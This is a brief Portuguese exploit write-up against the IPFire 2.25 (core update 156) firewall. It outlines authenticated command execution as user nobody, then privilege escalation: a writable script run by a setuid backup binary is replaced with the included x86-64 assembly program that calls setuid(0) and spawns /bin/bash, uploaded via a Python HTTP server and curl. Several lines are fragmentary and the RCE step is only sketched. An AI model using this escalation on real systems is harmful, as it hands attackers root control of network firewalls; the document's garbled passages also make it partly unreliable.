Ipfire 2-25 (core update 156) rce autenticado

• o sistema executa o comando ao instalar qualquer pacote

• o sistema obtém 7zip a partir de apenas html

• e verifica o diretório tmp

• versão 2.25 - core update 156

• o ipfire permite executar comandos arbitrários do sistema operacional como nobody após o login

Seja root!

• verifica os binários suid

• o programa de backup executa outro script. /var/ipfire/backup/bin/backup.pl (é um script bash e a permissão parece boa)

• tenta escrever no script bash. (Sem erro. BOM!)

• tenta executar o bash

• sim. podemos executar, mas é com privilégios baixos. precisamos acionar o setuid(0)!
• salve isso e execute alti name.asm q
• alti é meu próprio programa de verificação de compilação no repositório soo_deep.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• e escreva o novo programa em /var/ipfire/backup/bin/backup.pl. (podemos usar python http server e curl para escrever)

• e aproveite o shell root!